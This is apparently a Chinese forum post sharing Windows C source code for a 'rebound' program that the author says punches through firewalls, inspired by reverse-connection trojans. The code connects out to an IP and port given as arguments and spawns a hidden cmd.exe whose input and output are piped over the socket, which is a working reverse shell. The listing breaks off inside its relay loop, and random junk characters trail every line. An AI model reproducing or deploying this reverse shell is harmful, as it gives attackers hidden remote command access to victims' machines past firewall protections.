这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cK/odOi
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/* ============================== +t6m>IBu
Rebound port in Windows NT >,1LBM|0u
By wind,2006/7 @~HD<K
===============================*/ 40ZB;j$l
#include )Jn80~U|1
#include (J#3+I
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#pragma comment(lib,"wsock32.lib") :.^rWCL2
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void OutputShell(); ttRH[[E(
SOCKET sClient; S?<Qa;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5eJd$}Lbc
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void main(int argc,char **argv) dy'?@Lj;
{ ["9$HL
WSADATA stWsaData; 548BM^^"r
int nRet; Z2
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SOCKADDR_IN stSaiClient,stSaiServer; d_hcv|%
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if(argc != 3) N<%,3W_-_
{ nrS_t
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printf("Useage:\n\rRebound DestIP DestPort\n"); tDVdl^#
return; :gC2zv
} .(ir2g
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WSAStartup(MAKEWORD(2,2),&stWsaData); `$HO`d@0*R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fZC,%p
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stSaiClient.sin_family = AF_INET; /zKuVaC
stSaiClient.sin_port = htons(0); 29oEkaX2o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4{pa`o3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0XNb@ogo
{ Cz%ih#^b
printf("Bind Socket Failed!\n"); \;<Y/sg
return; P8f-&(
} mLO6`]p{H
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stSaiServer.sin_family = AF_INET; !/SFEL@_B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y-mmc}B>N
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G 2##M8:U0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qd&j~cG@
{ YQOGxSi
printf("Connect Error!"); ececN{U/
return; >8so'7(
} F(9T;F
OutputShell(); [sBD|P;M
} l3,|r QD
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void OutputShell() 3h&s=e!
{ B4C`3@a
char szBuff[1024]; -oj@ c
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SECURITY_ATTRIBUTES stSecurityAttributes; Ue7~rPdlR
OSVERSIONINFO stOsversionInfo; {<lV=0]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }PVB+i M
STARTUPINFO stStartupInfo; o9CB
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char *szShell; Nf1l{N
PROCESS_INFORMATION stProcessInformation; 6 S8#[b
unsigned long lBytesRead; q!n|Ju<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .gB*Y!c7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A+'j@c\&!
stSecurityAttributes.lpSecurityDescriptor = 0; =B\?(
stSecurityAttributes.bInheritHandle = TRUE; j<[<qU:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;]gph)2cd
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *m2:iChY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^>>Naid
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lt)t}0
stStartupInfo.wShowWindow = SW_HIDE; $ _zdjzT
stStartupInfo.hStdInput = hReadPipe; +ad 2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TSOt$7-
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GetVersionEx(&stOsversionInfo); D_@^XS
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switch(stOsversionInfo.dwPlatformId) ^vzNs>eJ
{ o_cj-
case 1: E7N1B*KI
szShell = "command.com"; ?/;<32cE,
break; "|hmiMdGB
default: tw;`H( UZ^
szShell = "cmd.exe"; b3Do{1BV
break; :)+cI?\#
} PpbW+}aCF
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^OUkFH;dG?
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send(sClient,szMsg,77,0); R{.ku!w
while(1) ]LD@I;(_
{ 9%4rO\q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ex-`+cF
if(lBytesRead) )ZT&V